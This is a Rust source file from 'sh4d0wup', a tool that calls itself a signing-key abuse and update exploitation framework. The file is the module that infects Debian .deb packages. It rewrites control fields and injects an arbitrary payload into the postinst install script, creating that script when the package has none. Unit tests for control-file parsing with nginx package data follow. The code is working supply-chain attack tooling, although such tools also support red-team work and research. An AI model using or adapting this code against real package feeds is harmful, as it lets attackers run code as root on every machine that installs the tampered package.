sh4d0wup 0.11.0

Signing-key abuse and update exploitation framework
Documentation
use crate::args;
use crate::compression;
use crate::errors::*;
use crate::shell;
use indexmap::IndexMap;
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
use std::fmt::Write as _;
use std::io::prelude::*;
use std::str::FromStr;

#[derive(Debug, PartialEq, Eq, Default)]
pub struct DebControl {
    map: IndexMap<String, String>,
}

impl DebControl {
    pub fn set_key<I1: Into<String>, I2: Into<String>>(&mut self, key: I1, value: I2) {
        self.map.insert(key.into(), value.into());
    }

    fn to_control_string(&self) -> String {
        let mut out = String::new();
        for (key, value) in &self.map {
            let mut iter = value.split('\n');
            writeln!(out, "{}: {}", key, iter.next().unwrap()).ok();
            for extra_line in iter {
                writeln!(out, " {extra_line}").ok();
            }
        }
        out
    }
}

impl FromStr for DebControl {
    type Err = Error;

    fn from_str(s: &str) -> Result<Self> {
        let mut map = IndexMap::<_, String>::new();

        for line in s.split('\n') {
            if let Some(line) = line.strip_prefix(' ') {
                let (_key, value) = map.last_mut().context(
                    "Invalid control data: Tried to continue a previous value that doesn't exist",
                )?;
                write!(value, "\n{line}").ok();
            } else if let Some((key, value)) = line.split_once(": ") {
                map.insert(key.to_string(), value.to_string());
            }
        }

        Ok(DebControl { map })
    }
}

#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
pub struct Infect {
    #[serde(default)]
    pub set: HashMap<String, String>,
    pub payload: Option<String>,
}

impl TryFrom<args::InfectDebPkg> for Infect {
    type Error = Error;

    fn try_from(args: args::InfectDebPkg) -> Result<Self> {
        let mut control_overrides = HashMap::new();
        for set in &args.set {
            let (key, value) = set
                .split_once('=')
                .with_context(|| anyhow!("Invalid --set assignment: {:?}", set))?;
            control_overrides.insert(key.to_string(), value.to_string());
        }

        debug!("Parsed control overrides: {:?}", control_overrides);

        Ok(Infect {
            set: control_overrides,
            payload: args.payload,
        })
    }
}

pub fn patch_control_tar(args: &Infect, buf: &[u8]) -> Result<Vec<u8>> {
    let comp = compression::detect_compression(buf);
    let mut out = Vec::new();
    {
        let mut builder = tar::Builder::new(&mut out);

        let tar = compression::stream_decompress(buf, comp)?;
        let mut archive = tar::Archive::new(tar);
        let mut control_header = None;
        let mut had_postinst = false;

        for entry in archive.entries()? {
            let mut entry = entry?;
            let mut header = entry.header().clone();
            debug!("Found entry in control tar: {:?}", header.path());
            let path = header.path()?;
            let filename = path.to_str().with_context(|| {
                anyhow!("Package contains paths with invalid encoding: {:?}", path)
            })?;

            match (&args.payload, filename) {
                (Some(payload), "./postinst") => {
                    let mut script = String::new();
                    entry.read_to_string(&mut script)?;
                    debug!("Found existing postinst script: {:?}", script);

                    let script = shell::inject_into_script(&script, payload)
                        .context("Failed to inject into postinst script")?;

                    let script = script.as_bytes();
                    header.set_size(script.len() as u64);
                    header.set_cksum();

                    builder.append(&header, &mut &script[..])?;
                    had_postinst = true;
                }
                (_, "./control") => {
                    control_header = Some(header.clone());
                    if args.set.is_empty() {
                        debug!("Passing through control unparsed");
                        builder.append(&header, &mut entry)?;
                    } else {
                        let mut control = String::new();
                        entry.read_to_string(&mut control)?;

                        let mut control = control
                            .parse::<DebControl>()
                            .context("Failed to parse deb control file")?;
                        debug!("Found control data: {:?}", control);

                        for (key, value) in &args.set {
                            let old = control.map.insert(key.clone(), value.clone());
                            debug!("Updated control {:?}: {:?} -> {:?}", key, old, value);
                        }

                        let control = control.to_control_string();
                        debug!("Generated new control: {:?}", control);

                        let control = control.as_bytes();
                        header.set_size(control.len() as u64);
                        header.set_cksum();

                        debug!("Adding control data to package...");
                        builder.append(&header, &mut &control[..])?;
                    }
                }
                _ => {
                    builder.append(&header, &mut entry)?;
                }
            }
        }

        if let (Some(payload), false) = (&args.payload, had_postinst) {
            info!("Package has no postinst hook, creating one from scratch...");
            let mut header = control_header.context("Package had no control file")?;
            let script = format!("#!/bin/sh\n{payload}\n");
            let buf = script.as_bytes();
            header.set_path("./postinst")?;
            header.set_mode(0o755);
            header.set_size(buf.len() as u64);
            header.set_cksum();
            builder.append(&header, buf)?;
        }
    }
    let out = compression::compress(comp, &out)?;
    Ok(out)
}

pub fn infect<W: Write>(args: &Infect, pkg: &[u8], out: &mut W) -> Result<()> {
    let mut archive = ar::Archive::new(pkg);
    let mut builder = ar::Builder::new(out);

    let mut infected_something = false;
    while let Some(entry) = archive.next_entry() {
        let mut entry = entry?;
        let name = String::from_utf8(entry.header().identifier().to_vec())?;
        debug!(
            "Found entry in unix archive: {:?} => {:?}",
            name,
            entry.header()
        );

        if name.starts_with("control.tar") {
            info!("Patching {:?}", name);
            let mut buf = Vec::new();
            entry.read_to_end(&mut buf)?;
            let buf = patch_control_tar(args, &buf)?;

            let mut header = entry.header().clone();
            header.set_size(buf.len() as u64);

            builder.append(&header, &mut &buf[..])?;
            infected_something = true;
        } else {
            debug!("Passing through into .deb");
            let header = entry.header().clone();
            builder.append(&header, &mut entry)?;
        }
    }

    if !infected_something {
        bail!("We passed through the whole .deb unmodified, infection failed");
    }

    Ok(())
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_parse_deb_control() -> Result<()> {
        let data = r#"Package: nginx-core
Source: nginx
Version: 1.22.0-3
Architecture: amd64
Maintainer: Debian Nginx Maintainers <pkg-nginx-maintainers@alioth-lists.debian.net>
Installed-Size: 1302
Depends: libnginx-mod-http-geoip (= 1.22.0-3), libnginx-mod-http-image-filter (= 1.22.0-3), libnginx-mod-http-xslt-filter (= 1.22.0-3), libnginx-mod-mail (= 1.22.0-3), libnginx-mod-stream (= 1.22.0-3), libnginx-mod-stream-geoip (= 1.22.0-3), nginx-common (= 1.22.0-3), iproute2, libc6 (>= 2.34), libcrypt1 (>= 1:4.1.0), libpcre3, libssl3 (>= 3.0.0), zlib1g (>= 1:1.1.4)
Suggests: nginx-doc (= 1.22.0-3)
Conflicts: nginx-extras, nginx-light
Breaks: nginx-full (<< 1.18.0-1)
Replaces: nginx-full (<< 1.18.0-1)
Provides: httpd, httpd-cgi, nginx
Section: httpd
Priority: optional
Homepage: https://nginx.org
Description: nginx web/proxy server (standard version)
 Nginx ("engine X") is a high-performance web and reverse proxy server
 created by Igor Sysoev. It can be used both as a standalone web server
 and as a proxy to reduce the load on back-end HTTP or mail servers.
 .
 This package provides a version of nginx identical to that of nginx-full,
 but without any third-party modules, and only modules in the original
 nginx code base.
 .
 STANDARD HTTP MODULES: Core, Access, Auth Basic, Auto Index, Browser, Empty
 GIF, FastCGI, Geo, Limit Connections, Limit Requests, Map, Memcached, Proxy,
 Referer, Rewrite, SCGI, Split Clients, UWSGI.
 .
 OPTIONAL HTTP MODULES: Addition, Auth Request, Charset, WebDAV, GeoIP, Gunzip,
 Gzip, Gzip Precompression, Headers, HTTP/2, Image Filter, Index, Log, Real IP,
 Slice, SSI, SSL, SSL Preread, Stub Status, Substitution, Thread  Pool,
 Upstream, User ID, XSLT.
 .
 OPTIONAL MAIL MODULES: Mail Core, Auth HTTP, Proxy, SSL, IMAP, POP3, SMTP.
 .
 OPTIONAL STREAM MODULES: Stream Core, GeoIP
"#;
        let control = data.parse::<DebControl>()?;

        let mut expected = DebControl::default();
        expected.set_key("Package", "nginx-core");
        expected.set_key("Source", "nginx");
        expected.set_key("Version", "1.22.0-3");
        expected.set_key("Architecture", "amd64");
        expected.set_key(
            "Maintainer",
            "Debian Nginx Maintainers <pkg-nginx-maintainers@alioth-lists.debian.net>",
        );
        expected.set_key("Installed-Size", "1302");
        expected.set_key("Depends", "libnginx-mod-http-geoip (= 1.22.0-3), libnginx-mod-http-image-filter (= 1.22.0-3), libnginx-mod-http-xslt-filter (= 1.22.0-3), libnginx-mod-mail (= 1.22.0-3), libnginx-mod-stream (= 1.22.0-3), libnginx-mod-stream-geoip (= 1.22.0-3), nginx-common (= 1.22.0-3), iproute2, libc6 (>= 2.34), libcrypt1 (>= 1:4.1.0), libpcre3, libssl3 (>= 3.0.0), zlib1g (>= 1:1.1.4)");
        expected.set_key("Suggests", "nginx-doc (= 1.22.0-3)");
        expected.set_key("Conflicts", "nginx-extras, nginx-light");
        expected.set_key("Breaks", "nginx-full (<< 1.18.0-1)");
        expected.set_key("Replaces", "nginx-full (<< 1.18.0-1)");
        expected.set_key("Provides", "httpd, httpd-cgi, nginx");
        expected.set_key("Section", "httpd");
        expected.set_key("Priority", "optional");
        expected.set_key("Homepage", "https://nginx.org");
        expected.set_key("Description", "nginx web/proxy server (standard version)\nNginx (\"engine X\") is a high-performance web and reverse proxy server\ncreated by Igor Sysoev. It can be used both as a standalone web server\nand as a proxy to reduce the load on back-end HTTP or mail servers.\n.\nThis package provides a version of nginx identical to that of nginx-full,\nbut without any third-party modules, and only modules in the original\nnginx code base.\n.\nSTANDARD HTTP MODULES: Core, Access, Auth Basic, Auto Index, Browser, Empty\nGIF, FastCGI, Geo, Limit Connections, Limit Requests, Map, Memcached, Proxy,\nReferer, Rewrite, SCGI, Split Clients, UWSGI.\n.\nOPTIONAL HTTP MODULES: Addition, Auth Request, Charset, WebDAV, GeoIP, Gunzip,\nGzip, Gzip Precompression, Headers, HTTP/2, Image Filter, Index, Log, Real IP,\nSlice, SSI, SSL, SSL Preread, Stub Status, Substitution, Thread  Pool,\nUpstream, User ID, XSLT.\n.\nOPTIONAL MAIL MODULES: Mail Core, Auth HTTP, Proxy, SSL, IMAP, POP3, SMTP.\n.\nOPTIONAL STREAM MODULES: Stream Core, GeoIP");

        assert_eq!(control, expected);
        Ok(())
    }

    #[test]
    fn test_control_file_to_string() {
        let mut control = DebControl::default();
        control.set_key("Package", "nginx-core");
        control.set_key("Source", "nginx");
        control.set_key("Version", "1.22.0-3");
        control.set_key("Architecture", "amd64");
        control.set_key(
            "Maintainer",
            "Debian Nginx Maintainers <pkg-nginx-maintainers@alioth-lists.debian.net>",
        );
        control.set_key("Installed-Size", "1302");
        control.set_key("Depends", "libnginx-mod-http-geoip (= 1.22.0-3), libnginx-mod-http-image-filter (= 1.22.0-3), libnginx-mod-http-xslt-filter (= 1.22.0-3), libnginx-mod-mail (= 1.22.0-3), libnginx-mod-stream (= 1.22.0-3), libnginx-mod-stream-geoip (= 1.22.0-3), nginx-common (= 1.22.0-3), iproute2, libc6 (>= 2.34), libcrypt1 (>= 1:4.1.0), libpcre3, libssl3 (>= 3.0.0), zlib1g (>= 1:1.1.4)");
        control.set_key("Suggests", "nginx-doc (= 1.22.0-3)");
        control.set_key("Conflicts", "nginx-extras, nginx-light");
        control.set_key("Breaks", "nginx-full (<< 1.18.0-1)");
        control.set_key("Replaces", "nginx-full (<< 1.18.0-1)");
        control.set_key("Provides", "httpd, httpd-cgi, nginx");
        control.set_key("Section", "httpd");
        control.set_key("Priority", "optional");
        control.set_key("Homepage", "https://nginx.org");
        control.set_key("Description", "nginx web/proxy server (standard version)\nNginx (\"engine X\") is a high-performance web and reverse proxy server\ncreated by Igor Sysoev. It can be used both as a standalone web server\nand as a proxy to reduce the load on back-end HTTP or mail servers.\n.\nThis package provides a version of nginx identical to that of nginx-full,\nbut without any third-party modules, and only modules in the original\nnginx code base.\n.\nSTANDARD HTTP MODULES: Core, Access, Auth Basic, Auto Index, Browser, Empty\nGIF, FastCGI, Geo, Limit Connections, Limit Requests, Map, Memcached, Proxy,\nReferer, Rewrite, SCGI, Split Clients, UWSGI.\n.\nOPTIONAL HTTP MODULES: Addition, Auth Request, Charset, WebDAV, GeoIP, Gunzip,\nGzip, Gzip Precompression, Headers, HTTP/2, Image Filter, Index, Log, Real IP,\nSlice, SSI, SSL, SSL Preread, Stub Status, Substitution, Thread  Pool,\nUpstream, User ID, XSLT.\n.\nOPTIONAL MAIL MODULES: Mail Core, Auth HTTP, Proxy, SSL, IMAP, POP3, SMTP.\n.\nOPTIONAL STREAM MODULES: Stream Core, GeoIP");

        assert_eq!(
            control.to_control_string(),
            r#"Package: nginx-core
Source: nginx
Version: 1.22.0-3
Architecture: amd64
Maintainer: Debian Nginx Maintainers <pkg-nginx-maintainers@alioth-lists.debian.net>
Installed-Size: 1302
Depends: libnginx-mod-http-geoip (= 1.22.0-3), libnginx-mod-http-image-filter (= 1.22.0-3), libnginx-mod-http-xslt-filter (= 1.22.0-3), libnginx-mod-mail (= 1.22.0-3), libnginx-mod-stream (= 1.22.0-3), libnginx-mod-stream-geoip (= 1.22.0-3), nginx-common (= 1.22.0-3), iproute2, libc6 (>= 2.34), libcrypt1 (>= 1:4.1.0), libpcre3, libssl3 (>= 3.0.0), zlib1g (>= 1:1.1.4)
Suggests: nginx-doc (= 1.22.0-3)
Conflicts: nginx-extras, nginx-light
Breaks: nginx-full (<< 1.18.0-1)
Replaces: nginx-full (<< 1.18.0-1)
Provides: httpd, httpd-cgi, nginx
Section: httpd
Priority: optional
Homepage: https://nginx.org
Description: nginx web/proxy server (standard version)
 Nginx ("engine X") is a high-performance web and reverse proxy server
 created by Igor Sysoev. It can be used both as a standalone web server
 and as a proxy to reduce the load on back-end HTTP or mail servers.
 .
 This package provides a version of nginx identical to that of nginx-full,
 but without any third-party modules, and only modules in the original
 nginx code base.
 .
 STANDARD HTTP MODULES: Core, Access, Auth Basic, Auto Index, Browser, Empty
 GIF, FastCGI, Geo, Limit Connections, Limit Requests, Map, Memcached, Proxy,
 Referer, Rewrite, SCGI, Split Clients, UWSGI.
 .
 OPTIONAL HTTP MODULES: Addition, Auth Request, Charset, WebDAV, GeoIP, Gunzip,
 Gzip, Gzip Precompression, Headers, HTTP/2, Image Filter, Index, Log, Real IP,
 Slice, SSI, SSL, SSL Preread, Stub Status, Substitution, Thread  Pool,
 Upstream, User ID, XSLT.
 .
 OPTIONAL MAIL MODULES: Mail Core, Auth HTTP, Proxy, SSL, IMAP, POP3, SMTP.
 .
 OPTIONAL STREAM MODULES: Stream Core, GeoIP
"#
        );
    }
}